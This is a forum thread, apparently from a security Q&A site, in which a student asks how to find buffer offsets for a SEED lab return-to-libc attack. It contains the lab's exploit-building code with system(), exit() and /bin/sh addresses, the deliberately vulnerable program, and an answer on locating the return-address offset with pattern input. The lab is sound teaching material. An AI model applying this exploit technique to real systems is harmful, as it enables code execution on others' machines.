2

I am trying to find the buffer for where the implement my buffer overflow attack

The lab link is also here: https://seedsecuritylabs.org/Labs_16.04/PDF/Return_to_Libc.pdf

How I find X Y Z in a Return To libc attack with a buffer of 150? this is the exploit code that was given to us, I already found the addresses that the buffers need to write to but, I just need the X Y Z:


#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {

    char buf[40];
    FILE *badfile;
    badfile = fopen("./badfile", "w");

/* You need to decide the addresses and the values for X, Y, Z. The order of the following three
statements does not imply the order of X, Y, Z. Actually, we intentionally scrambled the order. */

    *(long *) &buf[X] = 0xbffffdd4; // /bin/sh

    *(long *) &buf[Y] = 0xb7e42da0; // system()

    *(long *) &buf[Z] = 0xb7e369d0; // exit()

    fwrite(buf, sizeof(buf), 1, badfile);

    fclose(badfile);

}

This is also the vulnerable program that was given to us:


#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack. * Instructors can change this value each
year, so students * won’t be able to use the solutions from the past. * Suggested value: between 0
and 200 (cannot exceed 300, or * the program won’t have a buffer-overflow problem). */

#ifndef BUF_SIZE
#define BUF_SIZE 150
#endif

int bof(FILE *badfile) {

    char buffer[BUF_SIZE];

    /* The following statement has a buffer overflow problem */ fread(buffer, sizeof(char), 300, 
    badfile);

    return 1;

}

int main(int argc, char **argv) {

    FILE *badfile;

    /* Change the size of the dummy array to randomize the parameters for this lab. Need to use the array         
    at least once */

    char dummy[BUF_SIZE*5]; memset(dummy, 0, BUF_SIZE*5);

    badfile = fopen("badfile", "r");

    bof(badfile);

    printf("Returned Properly\n");

    fclose(badfile);

    return 1;

}

  • the first posted code does not compile! When compiling, always enable the warnings, then fix those warnings. ( for gcc, at a minimum use: -Wall -Wextra -Wconversion -pedantic -std=gnu11 ) Note: other compilers use different options to produce the same results. – user3629249 Apr 2 at 23:17
  • OT: regarding: int main(int argc, char **argv) { Since the two parameters are not used, the compiler will output two warning messages about unused parameters. To correct this, use the other valid signature for main(): int main( void ) – user3629249 Apr 2 at 23:19
  • OT: regarding: char dummy[BUF_SIZE*5]; memset(dummy, 0, BUF_SIZE*5); 1) please follow the axiom: only one statement per line and (at most) one variable declaration per statement. 2) this line can be reduced to: char dummy[ BUF_SIZE * 5 ] = {0}; Notice the use of appropriate horizontal spacing for readability – user3629249 Apr 2 at 23:22
  • OT: regarding: badfile = fopen("badfile", "r"); When calling C library functions, always check ( for fopen() !=NULL ) to assure the operation was successful. If not successful, call perror() so both your error message and the text reason the system thinks the error occurred are output to stderr. – user3629249 Apr 2 at 23:24
  • 1
    @user3629249 while you are likely correct on all fronts, I don't think these comments are helpful here in an educational scenario where OP's job is not to fix or write this code. – multithr3at3d Apr 8 at 15:34
3

A simple way to do this is by using an input of the following form 'a'*BUFF_SIZE + 'qwertyuiopasdfghjklzxcvbnm'. The return address will be overwritten by 4(Assuming 32 bit system) consecutive characters from this string. Run your program with this input and it will naturally give a segmentation fault. Use dmesg | tail to find the address where it jumped. Say that came out to be zlkj. So now you have the offset. Just replace jklz with the address where you want to jump. Be sure to take care of endianness while replacing the address.

| improve this answer | |
  • Does this work on x64 binaries? On x86_64, the CPU won't actually make the jump unless the address in the stack pointer is a valid program address. – multithr3at3d Apr 8 at 15:28
  • A better way to implement this is to use a non-repeating sequence, like: en.m.wikipedia.org/wiki/De_Bruijn_sequence. Then, run it with your debugger and see what offset it crashes at. Some exploit dev GDB add-ons provide built-in tools to do this. – multithr3at3d Apr 8 at 15:30
  • For the final part of where to put X, Y, and Z, see my other answer: security.stackexchange.com/a/229449/90657 – multithr3at3d Apr 8 at 15:38

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.